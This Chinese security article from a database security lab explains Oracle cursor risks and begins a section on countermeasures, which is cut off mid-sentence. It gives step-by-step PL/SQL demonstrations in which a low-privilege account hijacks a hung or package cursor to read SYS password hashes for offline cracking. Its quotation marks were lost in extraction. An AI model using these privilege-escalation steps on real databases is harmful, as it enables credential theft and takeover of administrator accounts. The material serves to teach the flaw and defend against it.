
Oracle数据库游标中的安全隐患及防护建议.docx
9页Oracle数据库游标中的安全隐患及防护建议一. 引言SQL是面向集合的语言,其结果一般是集合量(含多条记录),而pl/sql的变量是标量,一组变量一次只能存放一条记录很多时候查询结果的记录数是不确定的,无法提前声明足够的变量于是引入了游标的概念,游标使得数据库操作更灵活,但同时也给黑客入侵数据库带来了机会安华金和数据库安全实验室(DBSec Labs)基于游标的应用原理,本文讨论游标可能带来什么安全隐患以及如何应对这些安全隐患二. 游标的分类oracle数据库游标是Pl/sql执行DQL、DML等语句的时候,oracle在内存中为其结果集分配一个缓冲区游标是指向该区的一个指针、命名一个工作区或是一种结构化数据类型它为应用程序提供了一种对结果集中每一行数据单独处理的方法oracle 游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)游标的核心功能在于,从表中检索出结果集,每次指向一条记录,与客户端或应用程序进行交互,因此游标是设计嵌入式SQL语句的应用程序的常用编程方式随着游标的广泛使用,其本身的安全隐患也变得越来越突出三. 游标带来的安全隐患oracle游标给数据库带来的安全隐患主要分为三大类:3.1 缺乏异常处理,挂起的游标被恶意利用游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。
如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的这就是游标SNARF提权的基础游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作下面试验用例由安华金和数据库安全实验室提供:SQL> connect / as sysdba已连接SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS 2 CURSOR_NAME INTEGER; 3 PASSWORD VARCHAR2(30); 4 I INTEGER; 5 BEGIN 6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR; 7 DBMS_OUTPUT.PUT_LINE(CURSOR:||CURSOR_NAME); 8 DBMS_SQL.PARSE(CURSOR_NAME,SELECT PASSWORD FROM 9 SYS.DBA_USERS WHERE USERNAME=:schina,dbms_sql.native); 10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina,P_USER); 11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30); 12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME); 13 IF PASSWORD = 01234567890ABCDEF THEN 14 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS NOT OK); 15 ELSE 16 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS OK); 17 END IF; 18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); 19 END; 20 /PL/SQL 过程已成功完成。
SQL> grant execute on schina_test to public;授权成功schina_test 是一个缺乏异常处理代码的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定HASH值进行比较并返回结果open_cursor打开游标直到close_cursor或SQL会话终止游标退出由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标SQL> connect scott/tiger已连接SQL> set serveroutput onSQL> declare 2 x varchar(40000); 3 i integer; 4 begin 5 fro i in 1..10000 loop 6 x:=b||x; 7 end loop; 8 sys. schina_test (x); 9 end; 10 / CURSOR 3241423通过向p_user中输入一个过长的x,系统返回ORA-01460错误由于存储过程schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游标被挂起,同时并未真正关闭。
可以对未关闭的游标注入恶意语句,以达到所需要的效果3.2 oracle游标漏洞提权 游标提权漏洞就是在上面的基础上利用被挂起的游标,通过类似DBMS_SQL这种由系统定义的包,把游标语句和高权限用户进行绑定接着上面的例子通过DBMS_SQL绑定SYS,用户直接获取SYS的密码HASHSQL> DECLARE 2 CURSOR_NAME INTEGER; 3 I INTEGER; 4 PWD VARCHAR2(30); 5 BEGIN 6 CURSOR_NAME:=3241423; 7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina,SYS); 8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30); 9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME); 10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN 11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD); 12 END IF; 13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); 14 DBMS_OUTPUT.PUT_LINE (PWD:||PWD); 15 END; 16 /上述代码是在获取游标值的前提下进行的,因此在代码声明的地方写入游标值3241423。
使用DBMS_SQL中的BIND_VARIABLE(cursor_name,:schina,sys)将游标和SYS用户绑定这样执行查询SYS用户后台数据库真正运行的语句是:select password from sys.dba_users where username=sysDBMS_SQl.define_column函数的作用是将游标中第一列的值返回给PWD变量黑客在执行完上述匿名块后,系统结果返回SYS密码的HASH散列,使用HASH逆向工具进行转换就可以获得SYS密码明文,直接夺取数据库最高权限3.3 oracle游标设计本身的安全隐患其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题用高权限用户写一个包,这个包中放入一个游标,功能和前面用的schina_test是一致的用来取回需要检查账号的hash然后和我们给出的一组预设hash做对比低权限用户如果知道这个游标可以直接在包外调用该游标,从而获取游标中的内容包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷SQL> connect / as sysdba已连接SQL> CREATE OR REPLACE PACKAGE schina AS 2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$ 3 WHERE NAME=USERNAME; 4 PROCEDURE CHECK_PASSWORD; 5 END; 6 /程序包已创建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS 2 PROCEDURE CHECK_PASSWORD IS 3 PASSWORD VARCHAR2(200); 4 BEGIN 5 OPEN X (USER()); 6 FETCH X INTO PASSWORD; 7 CLOSE X; 8 IF PASSWORD = 01234567890ABCDEF THEN 9 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS NOT OK); 10 ELSE 11 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS OK); 12 END IF; 13 END CHECK_PASSWORD; 14 END; 15 /程序包体已创建SQL> show errors没有错误SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;授权成功通过show errors检验发现整个过程没有X游标挂起的问题。
X游标正常关闭了,到现在为止操作一切正常切换到低权限账号SQL> connect scott/tiger已连接SQL> set serveroutput onSQL> exec sys.schina.check_password;YOUR PASSWORD HASH IS OK执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标通过游标直接可以获取到游标中存储的结果集SQL> DECLARE PASSWORD VARCHAR2(200); 2 BEGIN OPEN SYS. SCHINA.X (SYS); 3 FETCH SYS. SCHINA.X INTO PASSWORD; 4 CLOSE SYS. SCHINA.X; 5 DBMS_OUTPUT.PUT_LINE(The SYS password is || PASSWORD); 6 END; 7 /The SYS password is CF10653F66A74AC2任何权限账号的密码通过这种方式都会被低权限用户直接获取HASH值,然后通过HASH逆向工具,获取全部账号的密码。
四. 解决办法根据上一节游标的安全隐患,我们摸清了游标安全隐患的成因本章讲叙述如何防范这些安全隐患4.1 防游标被恶意挂起1)单纯的规范输入验证过程,绑定变量已经不能满足游标日益严峻的安全隐患威胁应当对用户可输入参数的变量的长度做更严格的限制,来防止触发异常最基本办法是按照用户输入参数的正常值的长度来进行限制,在用户输入参。












